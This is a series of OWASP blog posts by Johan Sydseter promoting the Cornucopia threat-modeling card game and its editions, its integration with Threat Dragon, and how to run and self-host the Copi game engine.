DEV Community: OWASP® Foundation

The Cornucopia of Gamified Threat Modeling

Johan Sydseter — Tue, 24 Mar 2026 09:55:15 +0000

At the OWASP Cornucopia project, we are done with updating the cards and help pages for the Website App Edition v3.0: https://cornucopia.owasp.org/edition/webapp/VE2/3.0

We would like to thank everyone who contributed to the translations for the new version of the card game and welcome you to review the text on the help pages themselves. Are there inconsistencies? Is there something you feel should be added or removed? If you find anything, please don't hesitate to contact us or raise an issue. Each page includes a "View source on GitHub" button that lets you quickly edit the text if you aren't pleased with it. All viewpoints and critiques are welcome as we are trying to create a home for gamified threat modelling.

The new Website App Edition v3.0, available in 10 languages (EN, ES, FR, HI, NL, NO-NB, PT-PT, PT-BR, RU, UK), connects 202 CAPECs individually to a set of ASVS 5.0 requirements in relation to each of the cards. This means, even though you only have 80 cards, the website describes an exponential number of possible threats, making it the Cornucopia of website app threats. There is simply no end to the possibilities that your thoughts can take you while playing the game, yes, that's the Cornucopia way.
But what if you want to focus on a specific CAPEC and find the related OWASP ASVS requirements?
Go to a card, click on the CAPEC in the CAPEC map, and it will give you all the possible OWASP ASVS combinations, thereby connecting attack patterns and security requirements, making a thorough and deep website security requirement analysis possible while discussing a specific card. You can literally spend weeks analysing, playing, deciding for yourself "What can go wrong?", "What to do about it?", and even form yourself an opinion on whether you really did a good job (see: Shostack's Four Question Frame for Threat Modeling).

Have we stopped there? Now we haven't! For each card, you also have the "OWASP Cheat Sheet Series Index". What is that? The "OWASP Cheat Sheet Series Index" is an OWASP index that connects each of the ASVS requirements with a set of OWASP Cheat Sheets that will give you advice on how to implement the specific OWASP ASVS requirement! Want to know how to do log protection according to "OWASP ASVS V16.4 - Log Protection"? No problem! The "OWASP ASVS (5.0) Cheat Sheet Series Index" displayed on the help pages for each card will take you to the collection of OWASP Cheat Sheets that is related to the requirement you are wondering about.

But there is even more! What about STRIDE? What about Threat Modeling? Each card has a STRIDE section, a "What can go wrong?" section and a "What are we going to do about it?" section.

This means that during your threat modeling, if you have questions about "What can go wrong?" or "What are we going to do about it?" Just go to the individual card pages, and you will find what you are looking for!

Now, you may be asking yourself, "That's it, right? No, it isn't, we have even moooooooore!

Threat Dragon and EoP Games

When choosing a tool for publishing our threat model, we chose OWASP Threat Dragon. OWASP Threat Dragon is a free, open-source, cross-platform threat modeling application. It is used to create threat modeling diagrams and list threats for elements within the diagrams. Mike Goodwin created Threat Dragon as an open-source community project that provides an intuitive, accessible way to model threats.

OWASP Threat Dragon has released this possibility in v2.6. This is just the start of integration between the two projects.

Thanks to Gerardo Canedo and his students at Universidad Católica del Uruguay, it's now possible to create your OWASP Cornucopia Threat Model directly in OWASP Threat Dragon. When creating a new diagram for your threat model, simply choose to create an EoP Games diagram. We chose to call the diagram EoP Games for two reasons. One, OWASP Cornucopia is derived from the Elevation of Privilege game created by Adam Shostack. Two, we don't want to stop with OWASP Cornucopia. We also want to add other EoP games, such as the original EoP Game.

Once you have created an EoP Games diagram, you can add OWASP Cornucopia threats to your threat model. The specific threat you add will get a link reference to the OWASP Cornucopia website, where you will find guidance on threat modeling and STRIDE, which will help you in identifying what can go wrong and what to do about it. You can also find a complete mapping to OWASP ASVS, OWASP Developer Guide, and all relevant CAPECs.

I want to express my sincere appreciation to Gerardo Canedo, Sebastian Feirres, and their students at Universidad Católica del Uruguay for making this possible. With their dedication and effort, OWASP Cornucopia wouldn’t have had this possibility.

Shostack's 4 Question Frame for Threat Modeling

OWASP Cornucopia, together with OWASP Threat Dragon, is helping us in answering:

What we are working on
What can go wrong?
What are we going to do about it?

...but "Did we do a good enough job?"

At Admincontrol, where I work, we have always sent an anonymous survey after every OWASP Cornucopia threat modeling session. The aggregate score for how satisfied respondents have been with all sessions we've held since we started OWASP Cornucopia in 2023 is 4.5 out of 5. When asked how relevant the session was to the participant's job, the average score was 4.7 out of 5. When asked whether the OWASP Cornucopia session helped the participants understand which security controls (mitigations) they need to implement/test, the score was 4.5. When asked whether the session improved the overall awareness of application security requirements, the score was 4.0. When asked, "Did we do a good job?", the score was 4.3. So for sure, we can do better!

When asking the question, "Did we do a good enough job?", don’t just blurt it out during a session. Do you honestly think people will give you their honest criticism to your face directly? Send out an anonymous survey and ask for feedback!

How to get those requirements into your issue tracking software

So you have done your threat modeling and security requirement analysis, what comes next? You need to create an issue that the development team can work on, and you need to add it to the development team's sprint. How do you do it?
The OWASP Cornucopia project is creating a requirements API that lets you harvest the security requirements you want. After you have created your threat model in OWASP Threat Dragon, extract its JSON response, look up the threats you have identified, and find the corresponding security requirements by using the API, merge the results together, and generate your evil user stories by pushing the results to your issue tracking software just in time for the development team's next sprint.

How to get OWASP Cornucopia?

The question you might be asking yourself is, "How are we going to be able to utilize these resources and play this game?" No problem! There are various ways you can do that, both online at copi.owasp.org and in person, enjoying the presence of your colleagues, by buying a deck of cards.

What is coming next...

But what about DevOps? What about LLM and AI Agents? We are working on that too. The new OWASP Cornucopia Companion Edition, that soon will be published, can be used alongside the OWASP Website App Edition and it comes with 6 new companion suits covering new topics: Agentic AI (AAI), Automated Threats (BOT), Cloud (CLD), Frontend (FRE), Large Language Models (LLM), and DevOps (DVO). A suit in the companion deck may replace (or be used in addition to) suites in the existing Website Edition so that the players can add a specific focus to their threat modeling: For example, say you are building an LLM application and want to perform threat modeling specifically for LLM. You would then use the OWASP Cornucopia Website Edition and the LLM companion suite as your elected OWASP Cornucopia focus area.

OWASP Cornucopia welcomes any input or improvements you might be willing to share with us. For anyone wanting to share their opinion, please don't hesitate to visit our repository, share your feedback, and, if appropriate, give us a star⭐️.

OWASP is a non-profit foundation that envisions a world with no more insecure software. Our mission is to be the global open community that powers secure software through education, tools, and collaboration. We maintain hundreds of open source projects, run industry-leading educational and training conferences, and meet through over 250 chapters worldwide.

OWASP Cornucopia is publishing it’s darkest secrets!

Johan Sydseter — Mon, 16 Feb 2026 06:39:00 +0000

Why do we keep our darkest fears secret? Publish them, and bring light to the darkest corners of your web application.

When Adam Schostack + associates last year urged everyone to publish their threat model, we thought, «What a wonderful idea!»

So we went ahead and did just that. At cornucopia.owasp.org, you can now find the threat model for the OWASP Cornucopia Game Engine, Copi.
There we have listed all our darkest fears and secrets. Darkness is not a force of its own; it is simply the absence of light. When light is shed on our doubts and fears, making them visible, we find solutions and become stronger. This is why publishing your threat model is essential. If you refuse to disclose your vulnerabilities to anyone, they become liabilities that may one day lead to doubts, lies, and perhaps even conspiracies and litigation. Therefore, before building software, build trust and make it clear what others need to be aware of.

Threat Dragon and EoP Games

OWASP Threat Dragon will release this possibility in v2.6, which is due to be released in week 9, but already now, you can try it out on their demo site. This is just the start of integration between the two projects; more is to come. OWASP Threat Dragon V2.6 will come out with all sorts of exciting features. For a full list, have a look at their current v2.6 roadmap.

Shostack's 4 Question Frame for Threat Modeling

OWASP Cornucopia, together with OWASP Threat Dragon, is helping us in answering:

What we are working on
What can go wrong?
What are we going to do about it?

...but "Did we do a good enough job?"

OWASP Cornucopia welcomes any input or improvements you might be willing to share with us regarding our current threat model. Arguably, we created the system before we were able to identify all our threats, and several improvements need to be made to properly balance the inherent risks of compromise against the current security controls. For anyone hosting the game engine, please take this into account. For anyone wanting to share their opinion, please don't hesitate to visit our repository, share your feedback, and, if appropriate, give us a star⭐️.

OWASP Cornucopia 3.0 - A call for card game designers!

Johan Sydseter — Thu, 13 Nov 2025 12:24:59 +0000

Would you like to be our card game designer for the OWASP Cornucopia Website Edition v3.0?

We are close to releasing the next version of OWASP Cornucopia Website Edition v3.0

We wonder whether there are some brilliant designers out there who would like to volunteer to create the motifs for the 80 cards in OWASP's very popular threat modeling card games for website applications?

OWASP® Cornucopia is a threat modeling tool in the form of a card game to assist software development teams in identifying security requirements in Agile, conventional, and formal development processes. It strives to be language, platform, and technology-agnostic.

It’s one of the few tools that connects threat modeling with OWASP ASVS, SAFECode, STRIDE, OWASP DevGuide, and CAPEC, helping to identify security requirements, develop a secure design, and create a threat model without prior knowledge of these frameworks.

We are now creating the next version of the website app game. The new version will feature new cards and text that cover all of the requirements in OWASP ASVS 5.0 and connect these to more than 210 unique common attack patterns (CAPEC).

The first edition was created in August 2012, released as v1.0 in February 2013, and has undergone several minor updates/releases over the subsequent ten years. This has been substantially updated in today’s release of v3.0, with the most noticeable change being the update of the OWASP ASVS mapping from ASVS v4.0 to v5.0. The card game comes in two physical sizes. The smaller ones are often referred to as “bridge-sized cards” and the larger ones as “Tarot-sized cards”. All these v3.0 files will be immediately available in nine languages (English, Spanish, French, Dutch, Norwegian, Portuguese, Italian, Russian, and Hungarian) due to the efforts of past and current volunteers.

Don't hesitate to get in touch with us for fame and glory.

Uncover the security flaws in your software's design before the bad guys do it for you! Get your team together on a call or in a room and use OWASP Cornucopia Web & Mobile, Elevation of Privilege or Elevation of MLSec and OWASP Cumulus to secure your AI models and Cloud infrastructure respectively and guide your threat modelling at copi.owasp.org, and if you visit our code repository please give us a star ⭐️.

How do you get your dev team to shift left by themselves for real?

Johan Sydseter — Fri, 03 Oct 2025 07:12:03 +0000

Shift-left doesn't start with scanning the code for security vulnerabilities; it begins with designing it. Play yourself secure with OWASP Cornucopia Website Edition v2.2

Too often the shift-left mantra consists of implementing AI code scanning and applying AI-powered security fixes for remediation. Also, don't forget to implement the AI-powered benchmark for AI-Powered Security Fixes. We're not telling you to stop using these tools, instead, we want to ask ourselves:

What are we working on?
What can go wrong?
What are we going to do about it?
Did we do a good job?

Source: Shostack's Four Question Frame for Threat Modeling

Secure design starts with understanding what we are working on, asking what can go wrong and what we are going to do about it. I'll leave that to the AI-assistants you say?
Before you do, know that the "2025 GenAI Code Security Report" from Veracode shows that after a comprehensive analysis of over 100 large language models across 80 coding tasks spanning four programming languages and four critical vulnerability types, only 55% of AI-generated code was secure (AI-Generated Code: A Double-Edged Sword for Developers, 09.09.2025). We don't doubt that, eventually, the machines will take over the world, but in the mean time, don't forget to ask yourself what can go wrong.

And what does the industry standard for infosec management say about writing secure code?

If you happen to be ISO 27001 certified and are writing code, you should know that the control you have called: "ISO 27002: 8.28 Secure coding", says that: "Planning and prerequisites before coding should include: ... g) secure design and architecture, including threat modelling".

But, how can you possible do that in an agile and fun way?

Visit copi.owasp.org and play OWASP Cornucopia, Elevation of MLSec, Elevation of Privilege or OWASP Cumulus with your team.
Games aren't just for fun, they can be serious tools too, and that is what we are doing with OWASP Cornucopia. We are making threat modeling for everyone, everywhere, and we have a special love for agile teams that want to do continuous threat modeling as part of their development sprints. Don't believe us? See how long-time project contributor Max Alejandro Gómez Sánchez Vergaray has created a video to explain how he has trained hundreds of teams to use OWASP Cornucopia in abuse case modelling sessions at a major international bank. This approach has scaled to over two-thousand developers to date.

In our next version of OWASP Cornucopia Website App Edition version 2.2 we have a special treat for you. We have gathered together all our threat modeling expertise, created threat modeling scenarios for each card and analyzed which STRIDE categories each of these scenarios belong to. If you have bought a OWASP Cornucopia deck with QR codes you can now give your team advice on threat scenarios, threat vectors, attack patterns, mitigation strategies and STRIDE when playing the game by letting them scan the QR codes on each card. Each scenario follows "Shostack's Four Question Frame for Threat Modeling" making it easy for your security champions to come up with the threats and mitigations themselves.
In addition, we have added additional CAPECs that corresponds to each card and added references to the OWASP Developer Guide's Web Application Checklist that will link your threat modeling to OWASP secure coding practices and the OWASP Top 10 Proactive controls, this, thanks to Jon Gadson from the OWASP Developer Guide project.

We are just getting started, in fact, this is just the first step. We will continue to bring threat modeling to everyone, everywhere, and will continue to do so in the time to come.
Next time we will also talk about the last question: "Did we do a good job?"
Why? Because we want the game to be used in iterative security processes that involves continually adapting security measures in cycles to identify, address, and reassess threats and vulnerabilities, making continuous improvements rather than a one-time fix.

Stay tuned.

How to use OWASP Cornucopia cards together with the OWASP Cornucopia website

A - Preparations
- A1. Obtain a deck, or print your own Cornucopia deck and separate/cut out the cards
- A2. Identify an application or application process to review; this might be a concept, design or an actual implementation
- A3. Create a data flow diagram, user stories, or other artefacts to help the review
- A4. This will help answer the question: "What are we working on"
- A5. Identify and invite a group of 3-6 architects, developers, testers and other business stakeholders together and sit around a table (try to include someone fairly familiar with application security)
- A6. Have some prizes to hand (gold stars, chocolate, pizza, beer or flowers depending upon your office culture). See our "Prizes and Swags" section for ideas.
B - Play
One suit - Cornucopia - acts as trumps. Aces are high (i.e. they beat Kings). It helps if there is someone dedicated to documenting the results who is not playing.
- B1. Remove the Jokers and a few low-score (2, 3, 4) cards from Cornucopia suit to ensure each player will have the same number of cards
- B2. Shuffle the pack and deal all the cards
- B3. To begin, choose a player randomly who will play the first card - they can play any card from their hand except from the trump suit - Cornucopia
- B4. To play a card, each player must read it out aloud, and explain how (or not) the threat could apply (the player gets a point for attacks that work, and the group thinks it is an actionable bug) - don’t try to think of mitigations at this stage, and don’t exclude a threat just because it is believed it is already mitigated - someone record the card on the score sheet
- B5. B5. If a player get stuck, ask them to scan the QR code on the card to access the online card page and read the section called: "What can go wrong?" or click the "more info" links if playing Copi (the online Cornucopia version) or just browse the card from the deck at cornucopia.owasp.org while playing
- B6. Play clockwise, each person must play a card in the same way; if you have any card of the matching lead suit you must play one of those, otherwise they can play a card from any other suit. Only a higher card of the same suit, or the trump suit Cornucopia, wins the hand
- B7. The person who wins the round, leads the next round (i.e. they play first), and thus defines the next lead suit
- B8. Repeat until all the cards are played
C - Scoring
The objective is to identify applicable threats, and win hands (rounds)
- C1. Score +1 for each card you can identify as a valid threat to the application under consideration
- C2. Score +1 if you win a round
- C3. Once all cards have been played, whoever has the most points, wins
D - Closure
- D1. Review all the applicable threats and the matching security requirements.
- D2. Ask the group: "What are we going to do about it?". Use the QR codes on the physical cards or "more info" links if playing Copi and read the "What are we going to do about it?" section
- D3. Create user stories, specifications and test cases as required for your development methodology and add them directly into your issue tracking software under the what you are working on

OWASP Cornucopia Companion Edition

Johan Sydseter — Wed, 06 Aug 2025 14:35:30 +0000

At OWASP Cornucopia we have long stated that we will create more decks, and now we will!

To provide more possibilities for doing threat modeling while playing games, OWASP Cornucopia would like to welcome all OWASP members and OWASP Cornucopia enthusiasts to create the OWASP Cornucopia companion deck!

The companion deck will contain a number of optional card enhancements - each one a single suit covering a particular application security topic, and intended to be used in conjunction with the existing OWASP Cornucopia Website Edition. A suit in the companion deck may be used to replace a suit in the existing Website Edition, so that the players can add a specific focus for their threat modeling.

For example, say you are building an IoT application and want to perform threat modeling specifically for IoT. If that is the case, you can use the OWASP Cornucopia Website Edition together with the IoT companion suit as your elected OWASP Cornucopia focus area.

Each of the attacks on the cards belonging to the various suits will showcase AppSec requirements from different OWASP projects and beyond, commemorating and celebrating the 25th anniversary of the OWASP Foundation next year. In addition, we would like the case, the leaflet with the instructions, and the face of the cards to be illustrated for this very same purpose.

Join us to take gamified threat modeling to the next level and celebrate the OWASP Foundation's achievements within application security worldwide. We welcome suggestions on what the focus areas of the extension suits in the companion deck should be, which OWASP projects are most relevant for these, and contributors to write the attacks for each card. We are thinking of up to six companion deck suits. Get in touch….

Github: https://github.com/OWASP/cornucopia/discussions/1548
Linkedin: https://www.linkedin.com/in/sydseter/
Bluesky: https://bsky.app/profile/sydseter.com
Mastodon: https://mastodon.social/@sydseter

Learn how to play OWASP Cornucopia or Elevation of Privilege:

No need to fear the clouds. Play OWASP Cumulus!

Johan Sydseter — Thu, 26 Jun 2025 09:32:39 +0000

The clouds can be a scary place. All these machines that simply aren't yours. So, how can you make sure you continuously keep your cloud infrastructure secure? OWASP Cumulus is the easy way to bring security into the cloud and your DevOps teams. Play it at copi.owasp.org thanks to Christoph Niehoff and OWASP Cumulus!

As a variant of the card game Elevation of Privilege it follows the idea to threat model a system via gamification. This lightweight and low-barrier approach helps you find threats to your DevOps or cloud project and teaches the developers a security oriented mindset.

Threat Modeling

The idea of threat modeling via serious games goes back to the card game Elevation of Privilege by Adam Shostack. The basic idea is to bring the developers to the table and get them start discussing the security of their system. For this, a card game serves as a guide through a catalogue of threats. It is designed to be low-barrier and naturally embeddable within agile development processes.

While we at OWASP Cornucopia have been focusing on creating games focused on web- and mobile application security, we have felt that the specific needs of the DevOps team working in cloud environments have been missing. OWASP Cumulus seeks to fill this gap and provides a custom card deck with threats to cloud systems.

Continuously Assessing your Security

The point here is not do just do your initial security risk assessment and be done with it, but to continuously look for new threats on a regular basis as you expand your infrastructure according to the Threat Modeling Manifesto.

"Continuous Threat Modeling", a term described in "Threat Modeling: A Practical Guide for Development Teams" by Izar Tarandach & Matthew J. Coles is essential to keep your applications and infrastructure secure as you expand your system with new features and machines and increase the attack surface. Gamifications can help getting started doing just that. So why would you want to continuous threat model your infrastructure and applications? Isn't it enough just to do a thorough and deep check up now and then? At Admincontrol, where I work, we thought so as well!

At Admincontrol, we where using threat modeling to threat model our applications. We have been having a large session that we only are able to do once a year, and several smaller sessions that we do for each sprint. We define Jira issues meant for mitigating these threats and assign them directly to the development team's backlog. Then we have security backlog grooming once a month with the product owners and discuss directly with them how we can get these issues resolved.

The first graph shows the resolution time for the Jira issues that are created based on the threat modeling session we do once a year. The second graph shows the resolution graph for Jira issues for the threat modeling that we do each sprint.

Graph 1:

Graph 2:

As you can see, in the first graph, the resolution time is just increasing. This is because we have Jira issues that are defined but never resolved. Some of the issues have taken close to 3 years to resolve!

The second graph shows a bump where the resolution time spikes. This is because we had a component that didn't get finalized. It stayed on the drawing bord, but the threat modeling was done so the resolution time spiked. We have no data before 2023 as we didn't do this type of threat modeling before 2023. On average, the resolution time for the short threat modeling sessions is ca. 3 months. This usually coincides with the frequency of our minor releases that contains new features.

Conclusion

If you do long and large sessions, you run the risk of both doing threat modeling irregularly, meaning that you will have issues you never are able to solve, and having issues meant to improve the security staying in the development team's backlog forever, never to see the light of day. If you think that technical debt is scary, wait until you get to see your security debt. Not assessing how your security is doing on a regular basis isn't only very expensive, it can leave you open for threats as well. This is why continuous threat modeling is so important. Don't let your business spiral out of control, consciously assess how you are doing by continuously threat model your applications and infrastructure.

How to play OWASP Cumulus

Go to: https://copi.owasp.org/games/new
Select OWASP Cumulus from the drop-down list
Make sure you have done all the preparations
Then click: Create the Game
Send the link to 3 players
Once 3 players have join, click start the game.

OWASP Cornucopia

Learn how to play OWASP Cornucopia or Elevation of Privilege:

Does the AI do the threat modeling of your software?

Johan Sydseter — Wed, 11 Jun 2025 19:26:57 +0000

Are you letting the AI do the threat modeling for you? There is no need to let the machines take over the world! Threat model using Elevation of MLSec on copi.owasp.org instead. Our survival depends on it! At copi.owasp.org you can now play Elevation of MLSec to threat model your AI models.

Elevation of MLsec is an unofficial Machine Learning Security (MLsec) extension of Microsoft's Elevation of Privilege threat modeling card game. These playing cards portray risks associated with machine learning (ML) that have been identified by research groups. It is suitable to play this game with or without the original Elevation of Privilege deck depending on the nature of what you're threat modeling. The intention of these cards is primarily to improve the security of ML systems themselves, as opposed to using ML for security.

The work is based mainly on Berryville Institute for Machine Learnings (BIML)’s architectural risk analysis for machine learning systems (BIML-78) and their LLM analysis (BIML-LLM24), found on berryvilleiml.com. The game also adds a few somewhat supplementary LLM specific threats from OWASP’s TOP 10 list for Large Language Model Applications found on owasp.org.

The game was created by Elias Brattli Sørensen and designed by Jorun Kristin Bremseth while working at Kantega. You can download the design files from their repository if you would like to print a physical version of the game.

Version 2.3 of OWASP Cornucopia brings with it "Elevation of MLSec" as an option when you select a new game at copi.owasp.org. If you like, it's also possible to install Copi yourself. Read more about that here: https://cornucopia.owasp.org/copi

Personally, I am very happy about their game and have used it myself to threat model our new AI features that we are delivering at Admincontrol, and you should do it too. Don't leave the threat modeling up to the AI or it may take over the world!

How to play Elevation of MLSec

Go to: https://copi.owasp.org/games/new
Select Elevation of MLSec from the drop-down list
Make sure you have done all the preparations
Then click: Create the Game
Send the link to 3 players
Once 3 players have join, click start the game.

OWASP Cornucopia

Learn how to play OWASP Cornucopia or Elevation of Privilege:

OWASP® Cornucopia 2.2 & Copi - A Game Engine for OWASP® Cornucopia Threat Modeling

Johan Sydseter — Mon, 19 May 2025 22:48:09 +0000

The pandemic drove a considerable increase in fully remote teams, which made card games quite difficult to organize. Therefore, in 2022, Grant Ongers was willing to bet a dinner at a fancy vegan restaurant that his former colleague Toby Irvine wouldn't be able to build a fully fledged and online game engine based on the game Cornucopia (from the OWASP® Foundation) over the weekend.

A weekend later, Copi was born, and Grant lost the bet.
Built with Elixir and Phoenix, 3 years later, Copi is nearing almost 10.000 monthly users. You can read more about Toby's story on the Secure Delivery Blog.

A new release & new server

There is now a new release of OWASP Cornucopia 2.2 to celebrate a new milestone in the project's history.
We have been able to push the application onto OWASP® Foundation’s Fly.io account so that you can enjoy the game. We have also updated the Elevation of Privilege game, which we also host, to include the cards that were missing from the original release of EoP, thanks to Adam Shostack, who made sure his game was open-sourced: https://github.com/adamshostack/eop

Finally, if you have stringent security policies that don't allow you to use public online services, no worries, you can run copi.owasp.org yourself on your own account and make sure nobody can access the service. We encourage you to install "Copi - The Cornucopia Game engine" and contribute to the project. Doing this is pretty straightforward. You can choose from installing it on Heroku.com or Fly.io. We Recommend Fly.io as they support BEAM Clustering.

This is how you do it…

You'll need to install Elixir and flyctl in order to launch the app. See: https://github.com/OWASP/cornucopia/tree/master/copi.owasp.org#get-elixir. Log in to fly and create a PostgreSQL cluster. See: https://fly.io/dashboard/ (Click managed postgres in the menu). 1 GB of memory and 10GB of storage for the database are enough.

git clone https://github.com/OWASP/cornucopia.git
cd cornucopia/copi.owasp.org
fly auth login
fly launch --no-deploy

Make a note of the host, the app's name, and the PostgreSQL cluster's name. Then deploy the app from ./copi.owasp.org

fly mpg attach <cluster name> --app <app name>
fly deploy --app <app name> --env PHX_HOST=<app hostname without 'https://'>
fly scale count 2 --app <app name>

The app will be deployed with a PostgreSQL database and two instances. The monthly cost is no more than 14$.

Adding new card games with the same game rules as EoP or OWASP® Cornucopia is also easy. If you have any ideas and suggestions for security related card games then submit a request on https://github.com/OWASP/cornucopia and please don't forget to give us a star.

dotNET lab OWASP Cornucopia decks

Thanks to dotNET lab and Jef Meijvis, all prior decks sold on their website now have QR codes that are redirected towards our new website. This means that if you have an old dotNET lab OWASP Cornucopia deck, then you don’t need to be afraid that your deck will become outdated when there is a new release of OWASP Cornucopia Website Edition. The QR code on the card will take you to the latest version on cornucopia.owasp.org with the newest requirement mapping.

OWASP 2025 Global AppSec EU

We will be attending the OWASP 2025 Global AppSec EU, and if you are heading there, you can join us at our demo lab, where you will learn to play the game in an all-new way. Expect confetti, swag (yes, you read right, swag, valued just below the corruption limit), and illegal bribes as we venture into the dark side of OWASP Cornucopia.
We will also be showcasing OWASP Cornucopia at the project showcase track. If you are headed there, you may be in for a surprise. Can't wait to see you there!

OWASP Cornucopia

Learn how to play OWASP Cornucopia:

OWASP® Cornucopia Website App 2.1 & Mobile App 1.1!

Johan Sydseter — Fri, 14 Feb 2025 09:29:28 +0000

OWASP® Cornucopia is launching brand-new versions of the OWASP Cornucopia decks with QR codes and a new website that will make threat modeling, security requirement gathering and security design much easier.

Each of the QR codes will take you to a brand new OWASP Cornucopia website where you can further explore each card and the security requirements and -controls connected to them (see: https://cornucopia.owasp.org/ ).
This will help scale secure design and requirement gathering activities for your development teams and empower them to do application security in a more agile way.

A new OWASP Cornucopia website

In recent years, other OWASP projects have created their own custom websites to have greater control over content and layout. With the recent successful codification of all the Cornucopia materials for both the Website App Edition and Mobile App Edition, our project has now also created a custom website using an owasp.org

subdomain:

https://cornucopia.owasp.org

We would like to thank dotNET lab for donating their website code for this development. Volunteer Jef Meijvis were instrumental in making the website with the help from the rest of the project team. All the source code is located in our repository, providing a way to maintain consistency by using some of the same data sources. The website's repo is at:

https://github.com/OWASP/cornucopia/tree/master/cornucopia.owasp.org

This has allowed us to add a news section, and reinstate an extended version of the Wiki Deck, originally created by former co-leader Darío De Filippis, combining information from that and new content and code kindly donated by dotNET lab. There are now fully browsable cards for both editions (Website app and Mobile app) and which can also be examined by mapping taxonomy (e.g. OWASP ASVS, OWASP MASTG, OWASP Top Ten):

https://cornucopia.owasp.org/cards

https://cornucopia.owasp.org/taxonomy

The card URLs will be the unique end points linked from QR codes on printed cards, and which include guidance, tips and all the taxonomy lookups, making it easier to alter and extend these whenever we want. Recent new additional volunteer names have now been added in the acknowledgements.

New translations

In addition to the new versions of the editions and the OWASP Cornucopia website, the new release also comes with two new translations "PT-PT" (Portuguese-Portugal) and "IT" (Italian) thanks to André Ferreira ( @AndreFerreiraMsc ) and Ruggero DallAglio ( @rdallaglio ), respectively. As with previous translations, these are also delivered in 2 sizes, bridge and tarot, both with and without QR codes in addition to also being delivered as legacy guide documents. The new translations will be available in digital formats for download and print-on-demand.

Printing of the new decks

Additionally, dotNET lab is going to sell the OWASP Cornucopia decks on their web shop (see: https://cornucopia.owap.org/webshop). Both the Website App & Mobile App editions will come with QR codes printed on them.
The new versions of the decks are currently in the process of being printed, but we will keep you informed when these are ready, in the mean time, it's possible to buy the 1.0 Mobile App Edition and 2.0 Website App edition from AgileStationary.

Threat modeling as a tool for shifting security efforts left

In Admincontrol, where I work, we were struggling to get the developers to participate actively in threat modeling sessions. Most of them would usually stay quiet and too embarrassed to participate in the conversation. They would rely heavily on the input from security engineers and security champions to formulate security requirements and -controls needed in order to implement security design and -architecture.
They rarely took initiative during threat modeling sessions or helped to do threat modeling and requirement gathering. We also found that testers would only focus on testing the functional requirements for the software implementation under test and never do penetration testing themselves.

We therefore came to the realization that we needed to give the development teams a set of already defined applicable threats and risks they could choose from and talk about and that could work as triggers to help them come up with security requirements and -controls themselves.

Doing so, in the form of a game, helped increase the participants' ownership over the process, although it was the cards that were speaking, they were the ones that were choosing, explaining, scoring points and getting the attention.
This tremendously helped increase motivation and ownership over the process and has been key in scaling application security for companies doing software development. It’s no longer hard to elect security champions from the teams, and threat modeling, planning and testing is much easier to execute than before.
As application security engineers no longer are bottlenecks in the agile development processes, scaling application security efforts has become much easier. Cornucopia is empowering and teaching the development teams how to do threat modeling, what to test and implement, what to plan and how to execute security work. It is helping us to deliver faster, make the teams more independent, and shifting security efforts left. Application security engineers are needed, but the focus is turned towards facilitation, cheerleading and training.

We are looking for your support

OWASP Cornucopia is about community. We would have gotten nowhere without the help of all the people that has supported OWASP Cornucopia over the years. This is why, when making the first version of OWASP Cornucopia, Colin Watson though it would be a great idea if the threat actors on the cards had the names from members and employees from the OWASP Foundation. The Mobile App edition follows that tradition. That is why we picked threat actor names, for the threat scenarios on the cards, from OWASP Global board, OWASP Staff, project members and OWASP chapter leaders from around the world, but we still need your support. We are looking for volunteers that would like to help us improve the new website and that would like to help translate the materials into various languages to ensure that developers who don't have English as their mother tongue, understand the security requirements and controls presented to them. We are also looking for ideas and help in maintaining and improving the new website to ensure it becomes a valuable tool for everyone looking at solving application security challenges.

OWASP Cornucopia

Learn how to play OWASP Cornucopia:

How to pass the OWASP MASVS verification by design

Johan Sydseter — Fri, 14 Feb 2025 08:28:17 +0000

In Admincontrol, both our Android app and our IOS app just passed the MASVS 2.0 verification. And we did so by deciding on the security requirements and -controls using a game. Here is how...

In April 2023, OWASP released version v2.0.0 of their “Mobile Application Security Verification Standard.” The new version removes the three verification levels called L1, L2, and R. Security control group verification requirements was reworked as “security testing profiles” and moved to the OWASP Mobile Application Security Testing Guide or “MASTG.” These profiles are now aligned with the NIST (National Institute of Standards and Technology) OSCAL (Open Security Controls Assessment Language) standard. The standard is to be used together with the OWASP Mobile Application Security Testing Guide (MASTG v1.7) that comes with at least 82 tests that a mobile penetration tester should conduct in order to verify that the mobile application follows the MASVS standard.

It can be overwhelming for any mobile development team to go through all the requirements and tests that MASVS and the 575 pages long MASTG guide brings with them, but what if I told you that there is a game for deciding on the initial security requirements, tests and implementation for passing the MASVS verification?

How to pass the MASVS verification by design

In Admincontrol, where I work, we wanted to make a new Android mobile app for our board portal services. As we benchmark the security of our webservices against ASVS L2 and our mobile apps against MASVS L2+R, we needed an agile way of making sure that all the MASVS requirements and the complete MASTG guide (which is 575 pages long) got taken into account when creating the secure design for the new mobile application. Otherwise, we would risk delivering an insecure app to our security aware users and fail the MASVS verification.
Luckily we had discovered a game called OWASP Cornucopia that could be used for identifying application security requirement, create a secure design and do threat modeling. There was just one problem. The game wasn't meant for mobile application development.

I knew that we couldn't just dump the 575 pages long mobile application security test guide in the mobile app developers laps. Doing so, would either prolong the development time extensively, or end up being ignored. Fortunately, the OWASP Cornucopia project was looking at creating a new mobile edition of OWASP Cornucopia. So I got in touch with the OWASP Cornucopia project where Xavier Godard had taken the initiative of making the new edition. Over the course of the next 3 months we finished the new "OWASP Cornucopia - Mobile App Edition". We mapped it to the OWASP Mobile Application Security Verification Standard (MASVS v2.0) and OWASP Mobile Application Security Testing Guide (MASTG v1.7) and created six suits of 13 cards each plus two jokers, with the suit names taken from MASVS: Platform & Code (PC), Authentication & Authorization (AA), Network & Storage (NS), Resilience (RS), Cryptography (CRM) and Cornucopia (CM) which contained threats related to MASVS Privacy requirements, and where we also added some nasty cards related to mobile malware. Then we used the game to identify the mobile application security requirements, do threat modeling, and complete a secure design for our new mobile application.
9 months after we started the mobile application development of the new mobile app, an external company completed penetration testing and MASVS 2.0 verification with a MAS L2+R profile and verified that the mobile app had passed all of the requirements with just one low severity finding.

But why did we go to such lengths of investing tremendous efforts in creating a threat modeling game?

Threat modeling as a tool for shifting security efforts left

In Admincontrol, we had long been struggling to get the developers to participate actively in threat modeling sessions. Most of them would usually stay quiet, too embarrassed to participate in the conversation. They would rely heavily on the input from security engineers and security champions to formulate security requirements and -controls needed in order to implement security design and -architecture.
They rarely took initiative during threat modeling sessions or helped to do threat modeling and requirement gathering. We also found that testers would only focus on testing the functional requirements for the software implementation under test and never do penetration testing themselves. We therefore came to the realization that we needed to give the development teams a set of already defined applicable threats and risks they could choose from and talk about and that could work as triggers to help them come up with security requirements and -controls themselves.

The new OWASP Cornucopia website

